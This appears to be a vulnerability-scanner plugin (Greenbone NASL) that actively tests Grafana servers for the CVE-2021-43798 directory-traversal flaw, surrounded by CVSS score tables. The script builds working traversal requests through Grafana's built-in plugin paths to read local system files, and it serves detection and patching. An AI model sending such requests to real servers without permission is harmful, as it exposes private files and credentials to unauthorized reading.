CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
100.0%
Grafana is prone to a directory traversal vulnerability.
# Copyright (C) 2021 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:grafana:grafana";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.147264");
script_version("2021-12-13T03:03:27+0000");
script_tag(name:"last_modification", value:"2021-12-13 03:03:27 +0000 (Mon, 13 Dec 2021)");
script_tag(name:"creation_date", value:"2021-12-08 02:13:56 +0000 (Wed, 08 Dec 2021)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-12-11 01:15:00 +0000 (Sat, 11 Dec 2021)");
script_cve_id("CVE-2021-43798");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Grafana 8.0.0-beta1 - 8.3.0 Directory Traversal Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2021 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_grafana_http_detect.nasl", "os_detection.nasl");
script_mandatory_keys("grafana/http/detected");
script_require_ports("Services/www", 3000);
script_tag(name:"summary", value:"Grafana is prone to a directory traversal vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"Grafana is vulnerable to directory traversal, allowing access
to local files. The vulnerable URL path is: <grafana_host_url>/public/plugins/<'plugin-id'> where
<'plugin-id'> is the plugin ID for any installed plugin.
Every Grafana instance comes with pre-installed plugins like the Prometheus plugin or MySQL plugin
so multiple URLs are vulnerable for every instance.");
script_tag(name:"impact", value:"An unauthenticated attacker may read arbitrary files.");
script_tag(name:"affected", value:"Grafana version 8.0.0-beta1 through 8.3.0.");
script_tag(name:"solution", value:"Update to version 8.0.7, 8.1.8, 8.2.7, 8.3.1 or later.");
script_xref(name:"URL", value:"https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
plugin_list = make_list("alertGroups",
"alertlist",
"alertmanager",
"annolist",
"barchart",
"bargauge",
"candlestick",
"canvas",
"cloudwatch",
"dashboard",
"dashlist",
"debug",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana",
"grafana-azure-monitor-datasource",
"grafana-clock-panel",
"grafana-simple-json-datasource",
"graph",
"graphite",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"live",
"logs",
"loki",
"mixed",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-history",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"xychart",
"zipkin");
files = traversal_files();
foreach pattern (keys(files)) {
foreach plugin_id (plugin_list) {
url = dir + "/public/plugins/" + plugin_id + "/" + crap(length: 8 * 3, data: "../") + files[pattern];
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: pattern, string: res)) {
report = 'It was possible to read the file ' + files[pattern] + ' via the URL ' +
http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + res;
security_message(port: port, data: report);
exit(0);
}
}
}
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
100.0%